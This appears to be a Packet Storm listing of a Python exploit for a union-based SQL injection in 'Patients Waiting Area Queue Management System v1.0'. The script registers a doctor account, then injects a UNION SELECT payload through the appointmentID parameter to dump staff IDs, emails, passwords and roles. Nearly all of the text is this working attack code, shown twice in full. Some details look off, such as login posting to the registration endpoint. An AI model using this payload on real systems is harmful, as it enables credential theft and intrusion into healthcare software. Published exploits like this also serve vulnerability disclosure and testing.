Description
Patients....................................
Basic Information
ID
PACKETSTORM:211592
Published
Nov 13, 2025 at 00:00
Affected Product
Affected Versions
# Exploit Title: Patients Waiting Area Queue Management System v1.0 - SQL Injection
# Exploit Author: Deva Parekh (pr0f)
# Date: October 23, 2025
# Vendor Homepage: https://www.sourcecodester.com/php/18348/patients-waiting-area-queue-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=18348&title=+Patients+Waiting+Area+Queue+Management+System
# Tested on: Kali Linux, Apache, Mysql
# Vendor: sourcecodester
# Version: v1.0
# Exploit Description:
# Patients Waiting Area Queue Management System v1.0 suffers from an SQL Injection that allows an attacker dump contents from the database.
import requests, json, sys
from typing import Sequence, Iterable
def _to_cell_str(value) -> str:
if value is None:
return ""
s = str(value)
return " ".join(s.splitlines())
def _format_cell(text: str, width: int, align: str) -> str:
if align == "right":
return text.rjust(width)
if align == "center":
return text.center(width)
return text.ljust(width)
def print_table(rows: Iterable[Sequence], headers: Sequence = None,
align: Sequence[str] = None, padding: int = 1):
rows = [list(map(_to_cell_str, r)) for r in rows]
ncols = max((len(r) for r in rows), default=0)
if headers:
headers = list(map(_to_cell_str, headers))
ncols = max(ncols, len(headers))
for r in rows:
if len(r) < ncols:
r.extend([""] * (ncols - len(r)))
if headers and len(headers) < ncols:
headers.extend([""] * (ncols - len(headers)))
if not align:
aligns = ["left"] * ncols
else:
aligns = list(align)
if len(aligns) < ncols:
aligns.extend([aligns[-1]] * (ncols - len(aligns)))
col_widths = [0] * ncols
for col in range(ncols):
if headers:
col_widths[col] = max(col_widths[col], len(headers[col]))
for r in rows:
col_widths[col] = max(col_widths[col], len(r[col]))
pad = " " * padding
def make_sep():
parts = ["+"]
for w in col_widths:
parts.append("-" * (w + padding * 2))
parts.append("+")
return "".join(parts)
sep = make_sep()
print(sep)
if headers:
parts = ["|"]
for i in range(ncols):
parts.append(pad + _format_cell(headers[i], col_widths[i], aligns[i]) + pad)
parts.append("|")
print("".join(parts))
print(sep)
for r in rows:
parts = ["|"]
for i in range(ncols):
parts.append(pad + _format_cell(r[i], col_widths[i], aligns[i]) + pad)
parts.append("|")
print("".join(parts))
print(sep)
def register_user(session, user):
headers = {'Content-Type' : 'application/json'}
session.post(f'http://{target}/php/api_register_staff.php', json=user, headers=headers)
def login(session, user):
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
payload = f'email={user['email']}&password={user['password']}'
session.post(f'http://{target}/php/api_register_staff.php', data=payload, headers=headers)
def exploit_sqli(session):
sql_payload = "5' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,id,email,NULL,password,NULL,NULL,NULL,NULL,NULL,first_name,last_name,role,NULL,is_active from staff-- "
rep = session.get(f'http://{target}/php/api_patient_schedule.php?appointmentID={sql_payload}', allow_redirects=False)
return json.loads(rep.content.decode("utf-8").rstrip())
def convert_to_row(dump):
rows = [(a['time'], a['doctor'], a['appointment_date'], a['reason'], a['fullname'], a['appointment']) for a in dump['appointment']]
return rows
def print_sig():
print('')
print('┏━┓┏━┓┏━┓┏━╸')
print('┣━┛┣┳┛┃┃┃┣╸ ')
print('╹ ╹┗╸┗━┛╹ ')
print('~ https://github.com/pr0f94')
print('~ Patients Waiting Area Queue Management System v1 - union sqli')
print('')
if __name__ == "__main__":
headers = ["id", "first_name last_name", "email", "password", "role", "is_active"]
user = {"firstName":"pr0f","lastName":"pr0f","email":"[email protected]","password":"getr3kt","role":"doctor"}
print_sig()
target = sys.argv[1]
s = requests.Session()
print('-- Registering new user')
register_user(s, user)
print('-- Logging in as user')
login(s, user)
print('-- Exploiting sqli to dump staff table')
table_dump = exploit_sqli(s)
rows = convert_to_row(table_dump)
print('')
print_table(rows, headers=headers)
# Exploit Author: Deva Parekh (pr0f)
# Date: October 23, 2025
# Vendor Homepage: https://www.sourcecodester.com/php/18348/patients-waiting-area-queue-management-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=18348&title=+Patients+Waiting+Area+Queue+Management+System
# Tested on: Kali Linux, Apache, Mysql
# Vendor: sourcecodester
# Version: v1.0
# Exploit Description:
# Patients Waiting Area Queue Management System v1.0 suffers from an SQL Injection that allows an attacker dump contents from the database.
import requests, json, sys
from typing import Sequence, Iterable
def _to_cell_str(value) -> str:
if value is None:
return ""
s = str(value)
return " ".join(s.splitlines())
def _format_cell(text: str, width: int, align: str) -> str:
if align == "right":
return text.rjust(width)
if align == "center":
return text.center(width)
return text.ljust(width)
def print_table(rows: Iterable[Sequence], headers: Sequence = None,
align: Sequence[str] = None, padding: int = 1):
rows = [list(map(_to_cell_str, r)) for r in rows]
ncols = max((len(r) for r in rows), default=0)
if headers:
headers = list(map(_to_cell_str, headers))
ncols = max(ncols, len(headers))
for r in rows:
if len(r) < ncols:
r.extend([""] * (ncols - len(r)))
if headers and len(headers) < ncols:
headers.extend([""] * (ncols - len(headers)))
if not align:
aligns = ["left"] * ncols
else:
aligns = list(align)
if len(aligns) < ncols:
aligns.extend([aligns[-1]] * (ncols - len(aligns)))
col_widths = [0] * ncols
for col in range(ncols):
if headers:
col_widths[col] = max(col_widths[col], len(headers[col]))
for r in rows:
col_widths[col] = max(col_widths[col], len(r[col]))
pad = " " * padding
def make_sep():
parts = ["+"]
for w in col_widths:
parts.append("-" * (w + padding * 2))
parts.append("+")
return "".join(parts)
sep = make_sep()
print(sep)
if headers:
parts = ["|"]
for i in range(ncols):
parts.append(pad + _format_cell(headers[i], col_widths[i], aligns[i]) + pad)
parts.append("|")
print("".join(parts))
print(sep)
for r in rows:
parts = ["|"]
for i in range(ncols):
parts.append(pad + _format_cell(r[i], col_widths[i], aligns[i]) + pad)
parts.append("|")
print("".join(parts))
print(sep)
def register_user(session, user):
headers = {'Content-Type' : 'application/json'}
session.post(f'http://{target}/php/api_register_staff.php', json=user, headers=headers)
def login(session, user):
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
payload = f'email={user['email']}&password={user['password']}'
session.post(f'http://{target}/php/api_register_staff.php', data=payload, headers=headers)
def exploit_sqli(session):
sql_payload = "5' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,id,email,NULL,password,NULL,NULL,NULL,NULL,NULL,first_name,last_name,role,NULL,is_active from staff-- "
rep = session.get(f'http://{target}/php/api_patient_schedule.php?appointmentID={sql_payload}', allow_redirects=False)
return json.loads(rep.content.decode("utf-8").rstrip())
def convert_to_row(dump):
rows = [(a['time'], a['doctor'], a['appointment_date'], a['reason'], a['fullname'], a['appointment']) for a in dump['appointment']]
return rows
def print_sig():
print('')
print('┏━┓┏━┓┏━┓┏━╸')
print('┣━┛┣┳┛┃┃┃┣╸ ')
print('╹ ╹┗╸┗━┛╹ ')
print('~ https://github.com/pr0f94')
print('~ Patients Waiting Area Queue Management System v1 - union sqli')
print('')
if __name__ == "__main__":
headers = ["id", "first_name last_name", "email", "password", "role", "is_active"]
user = {"firstName":"pr0f","lastName":"pr0f","email":"[email protected]","password":"getr3kt","role":"doctor"}
print_sig()
target = sys.argv[1]
s = requests.Session()
print('-- Registering new user')
register_user(s, user)
print('-- Logging in as user')
login(s, user)
print('-- Exploiting sqli to dump staff table')
table_dump = exploit_sqli(s)
rows = convert_to_row(table_dump)
print('')
print_table(rows, headers=headers)